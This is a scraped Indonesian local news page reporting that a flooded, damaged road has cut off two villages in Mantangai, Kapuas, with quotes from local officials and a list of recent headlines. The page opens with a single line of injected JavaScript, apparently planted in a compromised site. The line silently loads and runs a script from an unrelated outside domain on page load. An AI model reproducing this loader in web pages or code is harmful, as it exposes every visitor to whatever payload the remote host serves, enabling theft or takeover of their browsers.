(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Jalan Terendam Banjir, Dua Desa di Kecamatan Mantangai Terisolir


KANALKALIMANTAN. COM, KUALA KAPUAS – Ruas jalan di Desa Sungai Gita menuju Desa Muroi Raya, Kecamatan Mantangai, Kabupaten Kapuas terendam air. Akibatnya, akses jalan penghubung antar desa itupun terputus.

“Ada dua wilayah yang terputus akibat rendaman air ini. Wilayah Desa Sungai Gita  menuju Desa Muroi Raya,” kata Kades Sungai Gita, Rumbun TD, Rabu (21/10/2020).

Akses jalan terendam karena luapan sungai akibat derasnya hujan, bahkan ketinggian air saat ini mencapai satu meter lebih.

Warga yang ingin melintasi jalan terpaksa harus melewati kedalaman air yang cukup tinggi, bahkan motor roda dua dan mobil hanya bisa melalui jembatan darurat yang dibuat warga desa setempat secara swadaya, padahal jalan tersebut menjadi akses satu-satunya untuk melintas.

Warga menyeberangkan sepeda motor roda dua di titik jalan yang terendam harus di angkat dengan kayu. foto: ist

“Kalau mau ke Desa Sungai Gita dari Desa Muroi Raya, saat ini bisa kurang lebih hampir lima jam perjalanan, yang biasa ditempuh hanya memakan waktu dua jam,” imbuh Rumbun.

Sementara itu, Camat Mantangai Yunius Tunggal SSos mengatakan, jalan di Desa Sungai Gita maupun Desa Muroi Raya itu memang kerap kali terendam air jika memasuki musim hujan. Selain kondisi infrastruktur jalan yang bertofografi rendah, jalan itu masih dalam kondisi rusak.

“Ya kalau setiap musim hujan, jalan itu memang jadi langganan banjir,” katanya.

Ruas jalan di Desa Sungai Gita menuju Desa Muroi Raya, Kecamatan Mantangai, Kabupaten Kapuas terendam air. foto: ist

“Jalan itu memang merupakan jalan yang berada pada posisi rendah. Kita juga sudah koordinasikan dengan kedua kepala desa itu, bahkan sudah sering diperbaiki warga desa secara swadaya menimbun juga membuat jembatan darurat, kondisinya juga masih pasir campur tanah, jadi terkadang saat datang hujan, pasir tersebut ikut terbawa arus derasnya luapan air,” terang Camat Mantangai.

Tidak hanya itu, di sepanjang jalan di dua desa itu jalannya juga dalam kondisi rusak. Selain terlihat berlubang kondisi jalan itu sangat rentan terendam banjir jika debit air sungai naik akibat derasnya hujan.

“Kami selaku di Kecamatan Mantangai akan mengupayakan berkoordinasi dengan pihak terkait di kabupaten khususnya Dinas PUPR untuk perbaikan jalan yang menghubungkan antar desa itu,” janji Camat Mantangai.

“Saat ini warga yang menuju dan keluar dari desa kesulitan melewati jalan yang rusak dan terendam banjir tersebut,” pungkas Yunius. (kanalkalimantan.com/ags)

Reporter : ags
Editor : bie


Al Ghifari

Recent Posts

Niat Tawuran Bawa Celurit, Dua Remaja di Banjarmasin Diringkus Polisi

KANALKALIMANTAN.COM, BANJARMASIN - Petugas kepolisian dari Polsek Banjarmasin Barat menangkap dua orang remaja yang berniat… Read More

3 jam ago

#Save Demokrasi Banjarbaru: Hak Pilih Warga Dibungkam

KANALKALIMANTAN.COM, BANJARBARU - Penyelenggaraan Pemilihan Kepala Daerah (Pilkada) Serentak 2024 di Kota Banjarbaru Provinsi Kalimantan… Read More

3 jam ago

Kirim Surat Suara ke Tiga Wilayah Ujung Banjarmasin Gunakan Klotok

KANALKALIMANTAN.COM, BANJARMASIN - Logistik surat suara Pemilihan Kepala Daerah (Pilkada) 2024 di Kota Banjarmasin mulai… Read More

5 jam ago

Pengrajin Anyaman Purun Desa Pulantani Terima Bantuan CSR

KANALKALIMANTAN.COM, AMUNTAI - Pengembangan kapasitas pengrajin anyaman purun dan alat penunjang produksi kerajinan, bantuan dana… Read More

7 jam ago

Logistik Pemilihan di Banjarmasin Didistribusikan, Disebar ke 965 TPS

KANALKALIMANTAN.COM, BANJARMASIN – Dua hari jelang pemungutan suara Pilkada 2024, Komisi Pemilihan Umum (KPU) Kota… Read More

10 jam ago

KPU Banjarbaru Mengubur Demokrasi, Meniadakan Pilkada Banjarbaru 2024

KANALKALIMANTAN.COM, BANJARBARU - Melihat dan menyikapi penyelenggaraan Pilkada (Pemilihan Kepala Daerah) Kota Banjarbaru, pasca terbit… Read More

12 jam ago

This website uses cookies.